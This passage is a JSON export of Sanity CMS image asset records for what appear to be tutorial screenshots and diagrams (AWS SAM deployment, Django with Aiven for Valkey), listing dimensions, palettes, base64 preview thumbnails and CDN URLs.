{"_createdAt":"2024-06-13T20:26:34Z","_id":"image-0f694cf7867ea7710dfb6df668af399297c95c7e-1385x836-png","_rev":"V7hUJb5ScZMSQ02ZsGr3Mb","_type":"sanity.imageAsset","_updatedAt":"2024-06-13T20:26:34Z","assetId":"0f694cf7867ea7710dfb6df668af399297c95c7e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLRMPXHqrVR6WC~oIXIVjWRjyEtmXTtRt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6566985645933014,"height":836,"width":1385},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAACToAAAk6AGCYwUcAAACUUlEQVQokYWSa08aURCG+f9f2sQmbUyatGlsTRrxWtSiAhZFA0vFKiiyyy4sC8tlWfbGnac5W20batJJnkzOJOc975mZSLOmolcfqKkKFbmCoigYhsFgMGA6nbJYLP5BxHN5sVgQUa8LlE7jlK8uUKsyjUaDbreL7/vMZjOWY1l0sSxYzpxT3P6EnN6jbSg4jkMQBIzHY0ajEcPhMETUxFk88pzrxZPgbSrFffQDteM1urVrgsBjMpmEgrZtY5omrVYrxLKssP7katm5iMiPZIL7jffo+6t0Sid4g3YoKPA8j36/HwoJXNf9b18j+eMjrtff0thdoZddp1cr4Lr9x4vz8Iviu2JIwrHIruuFbRBuZ79b8CR4dER+bZX65gu6yTfUcztU5VvavQ7+0Gc4GmL1Lep6HVVT0TQVw2hg231832MyHQtvoUORI6WzNMXP79A3X9KJr6Ak15AuEkgFiWK5iKzJlGWFwk2Vwk2N21KdB9mg0ezTtTwG7pBgOGUymTOfi7WRJCrbH2ntvsI6eU019YnLVJxEMkHyNMlZ5oxU+oq9fZ3oTo+tvTaxryYnp33SFw6ZrEPuu8OD4uO4EyKNuzuU1CHNbxv0sltouTiFXIZcLkc+LyFJEufnRQ4OTaKbNhvRHls7Fl9iDvuHHrGDAbEDi8usjdkOiAx6PTp1DUtXsJtVOoZGQ69jNJuYZptmq4Wum2iaTUV2qFQGKFUPVQ1CZMVFlh0Mw8N1R0TElMRERR6LVfEDHNf7C/eRPzXX8/B8P8QPgl8bMZ+HU/4JxaB4aP5HotcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d565d","foreground":"#fff","population":1.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#255f40","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8f90f6","foreground":"#000","population":4.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d19798","foreground":"#000","population":2.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f90f6","foreground":"#000","population":4.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b2817e","foreground":"#fff","population":0.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90d4b0","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"time-value-of-data.PNG","path":"images/sczeoy4w/production/0f694cf7867ea7710dfb6df668af399297c95c7e-1385x836.png","sha1hash":"0f694cf7867ea7710dfb6df668af399297c95c7e","size":418411,"uploadId":"MHonAbM6k4NmHusmOapVSlN2JfPg6gPr","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f694cf7867ea7710dfb6df668af399297c95c7e-1385x836.png"} {"_createdAt":"2024-06-13T20:12:25Z","_id":"image-d213c69fe66212c764e1609b12e85edf7292d488-2500x1308-png","_rev":"kdgc7UFRhHqFdI6LqDQmbg","_type":"sanity.imageAsset","_updatedAt":"2024-06-13T20:12:25Z","assetId":"d213c69fe66212c764e1609b12e85edf7292d488","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNL4Z_WF00?v9Y~qb_IB4.D*9[S$bwt8xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAADNUlEQVQokQEqA9X8ADqCvABSk8cFPIXBBr3W6Qf+/v01+e/zhfPh6qn26vCb+/n7Vf///xj7/f1A6vf7jtzx+anq9vuT+/3+Sf7t4A37t5sW/LuuI/y0sQ3/7KcAADl/twNPj8EmUZDDNIax1Bv8/PtP9uftu+7S3ery3+fZ+vb4ev///yT6+/xe3/L5ysrq9u7f8fjS+Pv8bOzc0hjgo4wn56idO96fnRhAUX8AADR5sARJh7kxS4m7Qn+qzSL6+vpZ9e3w0fDg5v/y5+zx+Pb4if3+/Sn4+fpm5/L219nr8vzm8fXf9/n6dNzW0xush30guZCML6yHihZ2eIYCADx0oQFPgKkTSHulGZ+5zxH5+flS9PT1xPLx8vX08/Tj9/f4gvf39yX29vZQ8vP0su7w8tnx8/S5+Pj4Wd7Z1RCkaVoSt29qHrFqbw+FeIgBAOR2JQDabkYEz0krBfLDvwb5+fkz9PL0gPLt8Kf18fOY9/b3Ve7v7xbz8/Qz9vX2kvX09cT29fWa9/f4OdS/rAnObkwV2GZWIdZeXw+aXJoAAM17QQDRbk0K0WVTENd+dwfq3OkO3JnDPdyCtGvkkbxU68PWHt3p5Ar19fY08vT2k+7x88bx8/Wb+Pj5Oci9tQqmdmYVrnJqHattbw2AcZIAAJ16ZgCidmwMpHRwE6eEfQibW5kGtz+RP8NAkIbLQ49gxkqJFOb27Qz5+PpT5O30tNHf6tvg6fC7+Pn7WvLw7w5nYWYHioSIDIB8ggV5fYgAAIyMkQCDf4UFhH2GCIuTjgOScJYGpkuRMbBGkGS2S49Kp1GEEe/28RD4+Plq4Orx18ra5/3c5e3g9vf5c////xH///8AvsfOAXaDjgCRenwAAK6urgOpq6wFpqepBKapqQF8eYYDhmWHEoxfiCGPZ4kbbFRtB/T19A319fZg6e3wx+Dm7Ozo6+/Q9PX1av39/A/4+voA////AFSJmACMf3gAAK6urgqvr68Or6+vC6+vrwSVmJkAeYWCA3mHgwaDkI4FAAAAAPv7+wf19fY/8vLzifHx8qTy8vOP9fX2R/r6+gn///8A7u7vAIKCigB/fYkAJG/4ZvwlvgYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4e65","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#623815","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a3c7d6","foreground":"#000","population":0.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3c7d6","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#72e3f9","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#577696","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#21a9e0","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image.png","path":"images/sczeoy4w/production/d213c69fe66212c764e1609b12e85edf7292d488-2500x1308.png","sha1hash":"d213c69fe66212c764e1609b12e85edf7292d488","size":741487,"uploadId":"ARsULQamTtopFImUHfsD9dLBx6o8rOo4","url":"https://cdn.sanity.io/images/sczeoy4w/production/d213c69fe66212c764e1609b12e85edf7292d488-2500x1308.png"} {"_createdAt":"2024-05-08T12:25:19Z","_id":"image-2f95dd1c42aa2dcf2ec1095c916bc2ba0f611f38-998x862-png","_rev":"6IjwK8t2YScx5mkOZiReaL","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:25:19Z","assetId":"2f95dd1c42aa2dcf2ec1095c916bc2ba0f611f38","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e05X[Y~U004n4n00Rh?bxu%NDgR.xW%Ma~tSjXxVRjt7x{xUobR*Ri","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1577726218097448,"height":862,"width":998},"exif":{"PixelXDimension":998,"PixelYDimension":862,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABYlAAAWJQFJUiTwAAACI0lEQVQ4jZWUWZabMBBFvZE0EgLNTAYksLs7+1/Vy6liMO6Tj+TjuoSNLk9S4Zt3BcKOt6+xNQJSSnwUEr8+/p2brgW0FjCMPKlrCSlLfBT/x00ICSFLlKpCXWvU2qCqNaMqw5TKoNzHV2RZM8fvpdK4UUwy04WxntHGMddrqtYFxljCn+JaO9Tac70ISxitYIza6oFRsEZBa6Ji+B6jUFUKQhLVCQuLokRVlfCuRHBb/YmzhNqrhDMCdSVQiB+HwkKhYK1D33cYhh5d16JtI9M0ESF6xBiYEDysNRzgb11wow+KGmKHOT+QlyfGacFwn3EfE9emHeB8A+MaaNei0hFSOYjSojhxXN+EKT+Rl09M84JpXvkBc3pguCeE2MP4ATrM0CFBxwwdF+iQL6SX0IcWU1pZdJ8y5rQisXDlxPcxox0SYpcR+8zVtxmumeHiBBe3+i7kZBuUjIQ0pqVTJXE/zGi7ET50sK6BsZHbSBvCv4QutJxs5ImZJ2+yjH6YWHrsbdvdOcAm8gz1YFVf9tD5XcjLSxjGxDLav64fGZJRjc2wJ4zQb9JLQrqB9o/2kVJyuuklDE3PB0fJ6MRpuSw0W7ot4f6mnG2TtrbJ6ydzLJkS07JpqfEiJiG9etTHBxdhz8Jl/cLj+Rvr45vbZtvL14kfvdn1E8tp3+jVPRubLugfg4Q0kZKtz28WpuV5njh9T1J6AB0aJ58yz6NA5KGEfwDhAvn8MXEZ0gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54442c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#283963","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4bc","foreground":"#000","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4bc","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4aed5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#596992","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#40508c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"configure-sam-deploy.png","path":"images/sczeoy4w/production/2f95dd1c42aa2dcf2ec1095c916bc2ba0f611f38-998x862.png","sha1hash":"2f95dd1c42aa2dcf2ec1095c916bc2ba0f611f38","size":148634,"uploadId":"vdFKZ1asOUHcO0aavGZtx0D8uPkPQAHI","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f95dd1c42aa2dcf2ec1095c916bc2ba0f611f38-998x862.png"} {"_createdAt":"2024-05-08T12:25:27Z","_id":"image-eb73f7e111da4cba017ec3510ffed9bdc193adab-1938x1164-png","_rev":"6IjwK8t2YScx5mkOZiRhtR","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:25:27Z","assetId":"eb73f7e111da4cba017ec3510ffed9bdc193adab","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S~t|?w_M?HIB~qtRt7t8Mxt3-=a1IUtR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6649484536082475,"height":1164,"width":1938},"exif":{"PixelXDimension":1938,"PixelYDimension":1164,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAABYElEQVQokY2T22ocMRBE9/+/07DEeGd0bfVFrbIl2QSSnU0eGoSgj4qq0m2MgVdjZhARqBq6CnrLcKnw3uHuv6fbmtsrWO8dpRQcjwdCTKg5Qo43aPwFpopaCa0xTBiWP6Dh/m9gLRnhPJBSWmfJB7RGNCKknFFqhTL9H9BUQXUqKWiVIGeBJYJbX49NO8xsnd0UbnINnL5MyHmcOEMAxQK5B9hHXsAB/LGDdXcN7A6mhnhGxJhApUKnwkgrkIHne7cpV1V3ir2DtaFwBguDqCHNMKZPjaFHgh5XCscGiuhKspS66pEo4j3ekWpCngmf5zLeRCFHXuNm1wptqmJeo2ZbYctg3XdEBFHdIYiuGe7XwPHj2dPa+E5yJdrBImjM6wGbJecC14Yx/G/g86TnT9n1mNbkXBBCQEoZNQW0x9vq3/Bpwfb0JfCnPt192TF/Rv4uM9UMTg9YSxjed22+gJ/2i64tIIMwwgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38542c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b92562","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e1842c","foreground":"#fff","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc49d","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9ad9","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946c7e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1842c","foreground":"#fff","population":0.43,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"application-composer.png","path":"images/sczeoy4w/production/eb73f7e111da4cba017ec3510ffed9bdc193adab-1938x1164.png","sha1hash":"eb73f7e111da4cba017ec3510ffed9bdc193adab","size":369350,"uploadId":"IvYfYba77f6OORgHZqs3hUbOMO75HwAq","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb73f7e111da4cba017ec3510ffed9bdc193adab-1938x1164.png"} {"_createdAt":"2024-05-08T12:25:49Z","_id":"image-0c72046755a74c382bb4f4be26fc85a94efcb730-2420x1152-png","_rev":"6IjwK8t2YScx5mkOZiRqzS","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:25:49Z","assetId":"0c72046755a74c382bb4f4be26fc85a94efcb730","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIRfh0NFNFX4_4vzRjNZR%AC?It7ogxboe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1006944444444446,"height":1152,"width":2420},"exif":{"PixelXDimension":2420,"PixelYDimension":1152,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB/ElEQVQokU2RW2vUUBSF82/1SRD/gE9VRETEF9G+iMWqCGJrH5xisdbaC7a0k6HTdGaSJp1kcr/nZJKZ+SSRgW5Y58LZe629z5LKWiCqgmldEsch2vCSQV/GtS2mZUklBGVRIIRAlCV1XVNVU1zrBkNVSOOA+XzeYjabIe1f/WCnv8GFeYJvKlgHnxj/fE2oHiMiDzE2CK81xoaBaZokSYIIJninm9h7q6TaEXkaEUURQRAgveyssLL5gI3TNczLPZwvD3HW7xJ3v5K5Y1JdxVeHGJqGbhj4vk+sX+B+e4zz/g7R3w94E4Nr3UAdjZDWfq3yqvOUnd4Wni4T7L7D67wgHx2SxQGh5xK4Dp7r4jhO20lm6/i/1/G+PydVdklCF8d1se0J0sWwx9nlCbqlESYBA0NBHp7jRg6FKAjDsB1luadpSpanDG8GdIdnOOGEuq7av20gxXHcJmdZhpaEvBmc86R3yIFrkpcleZaRNSRZ1pI15ozzhLcjmUfyH3ZtAzGb0cQCkBpnWsznKJHPSnef+8fbbJsqRVW1b0v1Bs1dTUKe9Q65d9Rhw7gir6v/hIsFUnsC5osFZhSwpch8lP/StW4oq2kr2yTehpul7GgKn/tndO0x5W3CZmmiUfaDgL6icC7LraPNeNwiWhYVQmBaFiNNa11vOl8S/gN3AJdG2GXX7wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d914c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#12a389","foreground":"#fff","population":2.94,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e08125","foreground":"#fff","population":3.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4cccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efc888","foreground":"#000","population":0.98,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#73a359","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e08125","foreground":"#fff","population":3.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram.png","path":"images/sczeoy4w/production/0c72046755a74c382bb4f4be26fc85a94efcb730-2420x1152.png","sha1hash":"0c72046755a74c382bb4f4be26fc85a94efcb730","size":431206,"uploadId":"DKN61v1JIIbzM7fYXa90VjQvLFAxn10J","url":"https://cdn.sanity.io/images/sczeoy4w/production/0c72046755a74c382bb4f4be26fc85a94efcb730-2420x1152.png"} {"_createdAt":"2024-05-08T12:25:52Z","_id":"image-f89b4788e768572d6acd2a12769b2bbc7e6fe393-2878x1520-png","_rev":"6IjwK8t2YScx5mkOZiRrak","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:25:52Z","assetId":"f89b4788e768572d6acd2a12769b2bbc7e6fe393","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5SF^di^-p-oIT~qjst7t7ay58%0xtofoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.893421052631579,"height":1520,"width":2878},"exif":{"PixelXDimension":2878,"PixelYDimension":1520,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABmUlEQVQokWWS27IdIQhE9///57mOd0UUdToFk5ykKg9TjJQuuoGX8wGlNqy1sPdB6wMuVvjU0FjQ50ahgSsV+Nzs/0+e5aCNjdw3aG7MdfC6nEcuFSILax978OES3q8InzsKC3zteHMBnyHDl45YGYWXwVJfuNpC5o0hBgy/gWIKiQdcSPj89gipgliQG+Hjcvj2EbkSWmcM2RB1NDdiX6ZQBb18iGjUsffGOQdjTKRccPmImCt4CHgM5FysNcyMMafdv+/boF2ORT3/ANfe2OdgTkGqHVcixDYeJWtZIf3UiZ61uAL2ubH2E48Cr8sjqZL59HDKQiVGqgwaT04BnRm9s6n9V+Hatw1D4wN0HiFmdB6mUoejj5nHX1siIOrm5H/Lt01bC5tlHYr2q1QydWMKSJUY8OCcG1PEYAZU27pi55gi7Z0CNerdV8gVqTQQT0zRnZtwqSHWDprLLpc+4UtDqGT/2grN/+whb5u27WFujD7EKso6CHXg3Vd8RUIkefasdLz5hI9Y4QojtCevIE8LX0UQaNmy/wLimwkeCGcz7AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353636","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28425c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbecfa","foreground":"#000","population":0.37,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b7ca","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cbecfa","foreground":"#000","population":0.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#547996","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#80a4c8","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"manage-model-access.png","path":"images/sczeoy4w/production/f89b4788e768572d6acd2a12769b2bbc7e6fe393-2878x1520.png","sha1hash":"f89b4788e768572d6acd2a12769b2bbc7e6fe393","size":487262,"uploadId":"z7momUwGTnDKFJaszhIII2feKHocG8Wl","url":"https://cdn.sanity.io/images/sczeoy4w/production/f89b4788e768572d6acd2a12769b2bbc7e6fe393-2878x1520.png"} {"_createdAt":"2024-05-08T12:25:58Z","_id":"image-07489c2f2ea19603cd50c500c32817402bae7678-2674x934-png","_rev":"WsWK2eJhT0GdR6GsCS2H5C","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:25:58Z","assetId":"07489c2f2ea19603cd50c500c32817402bae7678","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D15hY|~qj[t7Rj?bofRjofRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.862955032119914,"height":934,"width":2674},"exif":{"PixelXDimension":2674,"PixelYDimension":934,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAAA10lEQVQokW2Q2Q6EIAxF+RH3BRGNCm5R//+3OrllYIiZhxMCoaftFdZY2raNjuNgzvNk9n2nZVloHEfSWlPf93wOw8Bo3fObUorquqYsyyhNUxIovq6Lnudh7vtm8IYG67qyeJqmQNxEKUVSSirL0gkxiQeTWmsDxpggg8QDmRdKKalpmp8QhZhinufvKu5j13X82RdUVRVAsSfP87BukiQkIILU5wUphG3bsgggo1jyFsWwEKv59XCPc0JGIJ4Y/GtSFAUJiOLcYpzYxQAhJFjZn+8YIPwAFWjRpJQtTBUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":2.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":2.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":1.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"run.png","path":"images/sczeoy4w/production/07489c2f2ea19603cd50c500c32817402bae7678-2674x934.png","sha1hash":"07489c2f2ea19603cd50c500c32817402bae7678","size":861260,"uploadId":"p351YTrMhmwoCESlQv3TDakquoG9QpK3","url":"https://cdn.sanity.io/images/sczeoy4w/production/07489c2f2ea19603cd50c500c32817402bae7678-2674x934.png"} {"_createdAt":"2024-10-21T14:12:38Z","_id":"image-4727e451bdce10ade383a5d8e1fe8da22683d061-1200x628-png","_rev":"exgZYl4YMpSEzTrzxvYAjQ","_type":"sanity.imageAsset","_updatedAt":"2024-10-21T14:12:38Z","assetId":"4727e451bdce10ade383a5d8e1fe8da22683d061","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD5F0Os|V?V@jux|orWCRja#oEohj^axax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACGElEQVR4nEXLa0/aUADG8X6CUQ60pVd6TktLL7SEi2ObLKLEsFsMIFSgCIHpiGZZFpdpdlEUASWRRWVbnNmWzC+6gLskvxdP8uSPAXqVFqucXOfkZlDdRPoW1F+K+muov4HGnhT5AM19XtvntUNBHwTNEYyMkXWBohMU/YyRvBOJd+4v7Mwvvk1n32VyB9mnx8vPTjO5k/nsyYOlkX1vIJpdLnzIawPBGInmGEYuoD2B9jRes5NbC8u7i4/eZ3Iflx53cyvDlfL4SeFsITdKpPtKtMuH9zm1y2t9wTgVzTMYOYf2JbQnGKBLQqiuWhuq3VHtbTX6ykjuxtNHiYdDKzWUrGNB7wnGQDRHYmQM7XMpOpGjV3Lsmxy7xu4QBZwqeukyYCo+ru4X2kxoB1mDUOyTEr9UYl+U+FclcaUmrsPJ7+G5H9rcT+3uLy11o6VupvEUWfRQDk7XANskxW1W3QsaB5LVk+2+bA+Q1YdmTzSOgv/1RKP3L16dxS5gG4Bt+Pg6J7eQ3kF6B+ovguFNBrUIvg7YKmBrgKl6mSpgqhhOFAiqQLJlgq/5uHXANry062UcTnIloz3TQlpLCK3TYoXgHT/nELzjY0s4VcT8ZF7m8ppSDxkbjNQGbBOnXZx2SKHCIJdBLjtDw1ogWKX+Ivg1PFDCfGRe5AqK7Er6cxq1ANv0Mq6HKnmooocq4oEiTs3cjsAft+9vCOiOhpptAqkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363f64","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":27.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":27.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959ac7","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#abb3d8","foreground":"#000","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646c9b","foreground":"#fff","population":1.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3544bd","foreground":"#fff","population":5.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Set up Django to use Aiven for Valkey 1200x628.png","path":"images/sczeoy4w/production/4727e451bdce10ade383a5d8e1fe8da22683d061-1200x628.png","sha1hash":"4727e451bdce10ade383a5d8e1fe8da22683d061","size":64571,"uploadId":"lscLMH5jlbFDwcLl5zgUBkEVerNFsJHY","url":"https://cdn.sanity.io/images/sczeoy4w/production/4727e451bdce10ade383a5d8e1fe8da22683d061-1200x628.png"} {"_createdAt":"2024-05-08T12:49:55Z","_id":"image-8795b9be37b9eeb53722accc7d6c34f3fdf9ec66-2352x1344-png","_rev":"6IjwK8t2YScx5mkOZiYx1z","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:49:55Z","assetId":"8795b9be37b9eeb53722accc7d6c34f3fdf9ec66","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M368Ec~U-:-o${-nxT?Z-n%0-:%K%L%0xr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.75,"height":1344,"width":2352},"exif":{"PixelXDimension":2352,"PixelYDimension":1344,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB/klEQVQokX2Sy27bMBBF9Ru1LUsiJZEiJeotW0/HcVKgiyL9hKKLtJv2/3e3mMkDRRZdXIggxDN37oz3/P0rfv14wvVugysHuLJHXrTI8xaF61BWJ5TVgMxUOAYpPu0i7A8SkTDIqxHNeIMtzxCxRRAoeL+fn/Dn5zc83O74MUHosc4qZKaGzVtWqhz8Y4LdXuDgxxBxDtdt6LcvKJoFcVIgCDW8yzpiW84wxiGMNIJQ8cOPIgjByF0QaQakpkVWDNC2ewUqeOSEqr+18z/t9hHDE1XC5D2UaaGyBrk7IbMdQmHgGdsgLzqkqmCHxyCB78fs6KP2fgz/mEJIizh13Lbgc8FnP0jh2bxD3U5o2pGHQgXItc5KKP0irUukuoSgtoRFFBeIkgLHKMPhmGB/oDgkR+K5esQ4XbFtj1i3B8zLPeb5HtN85fuJNF9xHu9A/8aqQqwbpLaHVDVCSc4UdgfJsXh1M2FebrhcPmO7PL6L4Mt6Y63rA8OpA5nkDIkSx04Dad+B7JB2rm0n9MOKvl/QDwvabuZ9/Hd9lHKIRMaTjKSFSBxCyi3U7zAGUmZ1M6LrZwa13YS6OcPYGjK2ENLwV8aGgTRJqSqk+YDEdAiE4fxetkDAK1yPYVhxPl8wnDYMp5VdUoGmJfjIHVAxKqRNzcMhqEjLF4evAyHgX96tS70yvtHUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3244","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#945c0